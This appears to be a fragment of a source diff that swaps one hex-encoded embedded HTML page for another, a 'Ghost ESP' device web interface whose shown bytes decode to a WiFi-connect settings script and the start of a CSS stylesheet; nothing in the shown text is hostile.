0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x20, 0x3D, 0x3D, 0x3D, 0x20, 0x27, 0x27, 0x29, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x2E, 0x70, 0x75, 0x73, 0x68, 0x28, - 0x27, 0x50, 0x6C, 0x65, 0x61, 0x73, 0x65, 0x20, 0x65, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x61, 0x20, 0x57, 0x69, 0x46, 0x69, 0x20, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x2E, 0x27, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x2E, 0x6C, 0x65, 0x6E, 0x67, 0x74, 0x68, 0x20, 0x3E, 0x20, 0x30, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x27, 0x50, 0x6C, 0x65, 0x61, 0x73, 0x65, 0x20, 0x63, 0x6F, 0x72, 0x72, 0x65, 0x63, 0x74, 0x20, 0x74, 0x68, 0x65, 0x20, 0x66, 0x6F, 0x6C, - 0x6C, 0x6F, 0x77, 0x69, 0x6E, 0x67, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x3A, 0x5C, 0x6E, 0x27, 0x20, 0x2B, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x2E, 0x6A, 0x6F, 0x69, 0x6E, 0x28, 0x27, 0x5C, 0x6E, 0x27, 0x29, 0x29, 0x3B, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6E, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, - 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x66, 0x69, 0x6E, 0x61, 0x6C, 0x73, 0x73, 0x69, 0x64, 0x20, 0x3D, 0x20, 0x77, 0x72, 0x61, 0x70, 0x49, 0x6E, 0x51, - 0x75, 0x6F, 0x74, 0x65, 0x73, 0x49, 0x66, 0x4E, 0x65, 0x65, 0x64, 0x65, 0x64, 0x28, 0x73, 0x73, 0x69, 0x64, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, - 0x66, 0x69, 0x6E, 0x61, 0x6C, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x20, 0x3D, 0x20, 0x77, 0x72, 0x61, 0x70, 0x49, 0x6E, 0x51, 0x75, 0x6F, 0x74, 0x65, 0x73, 0x49, 0x66, 0x4E, 0x65, 0x65, 0x64, 0x65, 0x64, 0x28, 0x70, 0x61, 0x73, - 0x73, 0x77, 0x6F, 0x72, 0x64, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x63, 0x6F, 0x6D, 0x6D, 0x61, 0x6E, 0x64, 0x20, 0x3D, 0x20, 0x60, 0x63, 0x6F, - 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x20, 0x24, 0x7B, 0x66, 0x69, 0x6E, 0x61, 0x6C, 0x73, 0x73, 0x69, 0x64, 0x7D, 0x20, 0x24, 0x7B, 0x66, 0x69, 0x6E, 0x61, 0x6C, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x7D, 0x60, 0x3B, 0x0D, 0x0A, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x65, 0x74, 0x63, 0x68, 0x28, 0x27, 0x2F, 0x61, 0x70, 0x69, 0x2F, 0x63, 0x6F, 0x6D, 0x6D, 0x61, 0x6E, 0x64, 0x27, 0x2C, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x65, 0x74, 0x68, 0x6F, 0x64, 0x3A, 0x20, 0x27, 0x50, 0x4F, 0x53, 0x54, 0x27, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x3A, 0x20, 0x7B, 0x20, 0x27, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x2D, 0x54, 0x79, 0x70, 0x65, 0x27, 0x3A, 0x20, 0x27, 0x61, 0x70, 0x70, 0x6C, 0x69, - 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x2F, 0x6A, 0x73, 0x6F, 0x6E, 0x27, 0x20, 0x7D, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x64, 0x79, 0x3A, 0x20, 0x4A, - 0x53, 0x4F, 0x4E, 0x2E, 0x73, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x69, 0x66, 0x79, 0x28, 0x7B, 0x20, 0x63, 0x6F, 0x6D, 0x6D, 0x61, 0x6E, 0x64, 0x3A, 0x20, 0x63, 0x6F, 0x6D, 0x6D, 0x61, 0x6E, 0x64, 0x20, 0x7D, 0x29, 0x0D, 0x0A, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x29, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x74, 0x68, 0x65, 0x6E, 0x28, 0x72, 0x65, 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x20, - 0x3D, 0x3E, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x72, 0x65, 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x2E, 0x6F, 0x6B, 0x29, 0x20, 0x7B, - 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x27, 0x57, 0x69, 0x46, 0x69, 0x20, 0x63, 0x6F, 0x6E, 0x6E, 0x65, 0x63, - 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x63, 0x6F, 0x6D, 0x6D, 0x61, 0x6E, 0x64, 0x20, 0x73, 0x65, 0x6E, 0x74, 0x20, 0x73, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x66, 0x75, 0x6C, 0x6C, 0x79, 0x21, 0x27, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x65, 0x74, 0x54, 0x69, 0x6D, 0x65, 0x6F, 0x75, 0x74, 0x28, 0x6C, 0x6F, 0x61, 0x64, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x2C, - 0x20, 0x33, 0x30, 0x30, 0x30, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x20, 0x65, 0x6C, 0x73, 0x65, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x27, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x20, 0x73, 0x65, 0x6E, 0x64, 0x69, 0x6E, 0x67, 0x20, 0x57, 0x69, 0x46, 0x69, - 0x20, 0x63, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x63, 0x6F, 0x6D, 0x6D, 0x61, 0x6E, 0x64, 0x2E, 0x27, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x7D, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x29, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x63, 0x61, 0x74, 0x63, 0x68, 0x28, 0x65, - 0x72, 0x72, 0x6F, 0x72, 0x20, 0x3D, 0x3E, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x6F, 0x6C, 0x65, 0x2E, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x28, 0x27, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x20, 0x73, 0x65, 0x6E, 0x64, 0x69, 0x6E, 0x67, 0x20, 0x57, 0x69, 0x46, - 0x69, 0x20, 0x63, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x63, 0x6F, 0x6D, 0x6D, 0x61, 0x6E, 0x64, 0x3A, 0x27, 0x2C, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x29, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x4C, 0x6F, 0x61, 0x64, 0x20, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x20, 0x6F, 0x6E, 0x20, 0x77, 0x69, 0x6E, 0x64, 0x6F, - 0x77, 0x20, 0x6C, 0x6F, 0x61, 0x64, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x77, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x2E, 0x6F, 0x6E, 0x6C, 0x6F, 0x61, 0x64, 0x20, 0x3D, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, - 0x28, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x6F, 0x61, 0x64, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x28, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x7D, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x3E, 0x0D, 0x0A, 0x3C, 0x2F, 0x62, 0x6F, 0x64, 0x79, 0x3E, 0x0D, 0x0A, 0x3C, 0x2F, 0x68, 0x74, 0x6D, 0x6C, 0x3E, 0x00 -}; \ No newline at end of file +const long int ghost_site_html_size = 72168; +const unsigned char ghost_site_html[72168] = { + 0x3C, 0x21, 0x44, 0x4F, 0x43, 0x54, 0x59, 0x50, 0x45, 0x20, 0x68, 0x74, + 0x6D, 0x6C, 0x3E, 0x0D, 0x0A, 0x3C, 0x68, 0x74, 0x6D, 0x6C, 0x20, 0x6C, + 0x61, 0x6E, 0x67, 0x3D, 0x22, 0x65, 0x6E, 0x22, 0x3E, 0x0D, 0x0A, 0x3C, + 0x68, 0x65, 0x61, 0x64, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x3C, + 0x6D, 0x65, 0x74, 0x61, 0x20, 0x63, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, + 0x3D, 0x22, 0x55, 0x54, 0x46, 0x2D, 0x38, 0x22, 0x3E, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x3C, 0x74, 0x69, 0x74, 0x6C, 0x65, 0x3E, 0x47, 0x68, + 0x6F, 0x73, 0x74, 0x20, 0x45, 0x53, 0x50, 0x3C, 0x2F, 0x74, 0x69, 0x74, + 0x6C, 0x65, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6D, 0x65, + 0x74, 0x61, 0x20, 0x6E, 0x61, 0x6D, 0x65, 0x3D, 0x22, 0x76, 0x69, 0x65, + 0x77, 0x70, 0x6F, 0x72, 0x74, 0x22, 0x20, 0x63, 0x6F, 0x6E, 0x74, 0x65, + 0x6E, 0x74, 0x3D, 0x22, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3D, 0x64, 0x65, + 0x76, 0x69, 0x63, 0x65, 0x2D, 0x77, 0x69, 0x64, 0x74, 0x68, 0x2C, 0x20, + 0x69, 0x6E, 0x69, 0x74, 0x69, 0x61, 0x6C, 0x2D, 0x73, 0x63, 0x61, 0x6C, + 0x65, 0x3D, 0x31, 0x2E, 0x30, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x3C, 0x73, 0x74, 0x79, 0x6C, 0x65, 0x3E, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2A, 0x20, 0x43, 0x53, 0x53, + 0x20, 0x56, 0x61, 0x72, 0x69, 0x61, 0x62, 0x6C, 0x65, 0x73, 0x20, 0x66, + 0x6F, 0x72, 0x20, 0x43, 0x6F, 0x6C, 0x6F, 0x72, 0x73, 0x20, 0x61, 0x6E, + 0x64, 0x20, 0x46, 0x6F, 0x6E, 0x74, 0x73, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3A, 0x72, 0x6F, 0x6F, + 0x74, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x2D, 0x62, 0x61, 0x63, 0x6B, 0x67, + 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, + 0x20, 0x23, 0x30, 0x61, 0x30, 0x61, 0x30, 0x66, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, + 0x2D, 0x73, 0x75, 0x72, 0x66, 0x61, 0x63, 0x65, 0x2D, 0x63, 0x6F, 0x6C, + 0x6F, 0x72, 0x3A, 0x20, 0x23, 0x31, 0x32, 0x31, 0x32, 0x31, 0x61, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, + 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x23, 0x66, 0x66, 0x36, 0x62, + 0x30, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x2D, 0x73, 0x65, 0x63, 0x6F, 0x6E, + 0x64, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, + 0x23, 0x33, 0x65, 0x31, 0x39, 0x30, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x2D, + 0x61, 0x63, 0x63, 0x65, 0x6E, 0x74, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, + 0x3A, 0x20, 0x23, 0x39, 0x63, 0x32, 0x37, 0x62, 0x30, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x2D, 0x2D, 0x74, 0x65, 0x78, 0x74, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, + 0x72, 0x79, 0x3A, 0x20, 0x23, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x2D, 0x2D, 0x74, 0x65, 0x78, 0x74, 0x2D, 0x73, 0x65, 0x63, + 0x6F, 0x6E, 0x64, 0x61, 0x72, 0x79, 0x3A, 0x20, 0x72, 0x67, 0x62, 0x61, + 0x28, 0x32, 0x35, 0x35, 0x2C, 0x20, 0x32, 0x35, 0x35, 0x2C, 0x20, 0x32, + 0x35, 0x35, 0x2C, 0x20, 0x30, 0x2E, 0x37, 0x29, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, + 0x2D, 0x67, 0x72, 0x61, 0x64, 0x69, 0x65, 0x6E, 0x74, 0x2D, 0x31, 0x3A, + 0x20, 0x6C, 0x69, 0x6E, 0x65, 0x61, 0x72, 0x2D, 0x67, 0x72, 0x61, 0x64, + 0x69, 0x65, 0x6E, 0x74, 0x28, 0x31, 0x33, 0x35, 0x64, 0x65, 0x67, 0x2C, + 0x20, 0x23, 0x66, 0x66, 0x36, 0x62, 0x30, 0x30, 0x2C, 0x20, 0x23, 0x39, + 0x63, 0x32, 0x37, 0x62, 0x30, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x2D, 0x67, + 0x72, 0x61, 0x64, 0x69, 0x65, 0x6E, 0x74, 0x2D, 0x32, 0x3A, 0x20, 0x6C, + 0x69, 0x6E, 0x65, 0x61, 0x72, 0x2D, 0x67, 0x72, 0x61, 0x64, 0x69, 0x65, + 0x6E, 0x74, 0x28, 0x34, 0x35, 0x64, 0x65, 0x67, 0x2C, 0x20, 0x23, 0x63, + 0x63, 0x35, 0x35, 0x30, 0x30, 0x2C, 0x20, 0x23, 0x66, 0x66, 0x36, 0x62, + 0x30, 0x30, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x2D, 0x63, 0x61, 0x72, 0x64, + 0x2D, 0x62, 0x67, 0x3A, 0x20, 0x72, 0x67, 0x62, 0x61, 0x28, 0x31, 0x38, + 0x2C, 0x20, 0x31, 0x38, 0x2C, 0x20, 0x32, 0x36, 0x2C, 0x20, 0x30, 0x2E, + 0x38, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x2D, 0x62, 0x6F, 0x72, 0x64, 0x65, + 0x72, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x23, 0x66, 0x66, + 0x36, 0x62, 0x30, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x2D, 0x74, 0x6F, 0x6F, + 0x6C, 0x74, 0x69, 0x70, 0x2D, 0x62, 0x67, 0x3A, 0x20, 0x23, 0x30, 0x30, + 0x30, 0x30, 0x30, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x2D, 0x74, 0x6F, 0x6F, + 0x6C, 0x74, 0x69, 0x70, 0x2D, 0x74, 0x65, 0x78, 0x74, 0x3A, 0x20, 0x23, + 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x2D, 0x69, + 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x62, 0x67, 0x3A, 0x20, 0x72, 0x67, 0x62, + 0x61, 0x28, 0x33, 0x30, 0x2C, 0x20, 0x33, 0x30, 0x2C, 0x20, 0x33, 0x30, + 0x2C, 0x20, 0x30, 0x2E, 0x36, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x2D, 0x69, + 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x3A, + 0x20, 0x23, 0x66, 0x66, 0x36, 0x62, 0x30, 0x30, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, + 0x2D, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x64, 0x69, 0x73, 0x70, 0x6C, 0x61, + 0x79, 0x3A, 0x20, 0x27, 0x49, 0x6E, 0x74, 0x65, 0x72, 0x27, 0x2C, 0x20, + 0x73, 0x61, 0x6E, 0x73, 0x2D, 0x73, 0x65, 0x72, 0x69, 0x66, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x2D, 0x2D, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x6D, 0x6F, 0x6E, 0x6F, + 0x3A, 0x20, 0x27, 0x4A, 0x65, 0x74, 0x42, 0x72, 0x61, 0x69, 0x6E, 0x73, + 0x20, 0x4D, 0x6F, 0x6E, 0x6F, 0x27, 0x2C, 0x20, 0x6D, 0x6F, 0x6E, 0x6F, + 0x73, 0x70, 0x61, 0x63, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x2D, 0x66, 0x6F, + 0x6E, 0x74, 0x2D, 0x62, 0x6F, 0x64, 0x79, 0x3A, 0x20, 0x27, 0x49, 0x6E, + 0x74, 0x65, 0x72, 0x27, 0x2C, 0x20, 0x73, 0x61, 0x6E, 0x73, 0x2D, 0x73, + 0x65, 0x72, 0x69, 0x66, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2A, 0x20, 0x52, 0x65, 0x73, 0x65, 0x74, + 0x20, 0x53, 0x74, 0x79, 0x6C, 0x65, 0x73, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2A, 0x20, 0x7B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x3A, 0x20, 0x30, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x70, 0x61, 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x30, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x62, 0x6F, 0x78, 0x2D, 0x73, 0x69, 0x7A, 0x69, 0x6E, 0x67, + 0x3A, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x62, 0x6F, 0x78, + 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, + 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x2F, 0x2A, 0x20, 0x47, 0x6C, 0x6F, 0x62, 0x61, 0x6C, 0x20, 0x53, 0x74, + 0x79, 0x6C, 0x65, 0x73, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x68, 0x74, 0x6D, 0x6C, 0x2C, 0x20, 0x62, + 0x6F, 0x64, 0x79, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x69, 0x6E, 0x2D, 0x68, + 0x65, 0x69, 0x67, 0x68, 0x74, 0x3A, 0x20, 0x31, 0x30, 0x30, 0x76, 0x68, + 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x3A, 0x20, 0x30, + 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x70, 0x61, 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, + 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x62, 0x6F, 0x64, 0x79, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x6E, + 0x74, 0x2D, 0x66, 0x61, 0x6D, 0x69, 0x6C, 0x79, 0x3A, 0x20, 0x76, 0x61, + 0x72, 0x28, 0x2D, 0x2D, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x62, 0x6F, 0x64, + 0x79, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, + 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, + 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, + 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, + 0x2D, 0x2D, 0x74, 0x65, 0x78, 0x74, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, + 0x72, 0x79, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x69, 0x6E, 0x65, 0x2D, 0x68, + 0x65, 0x69, 0x67, 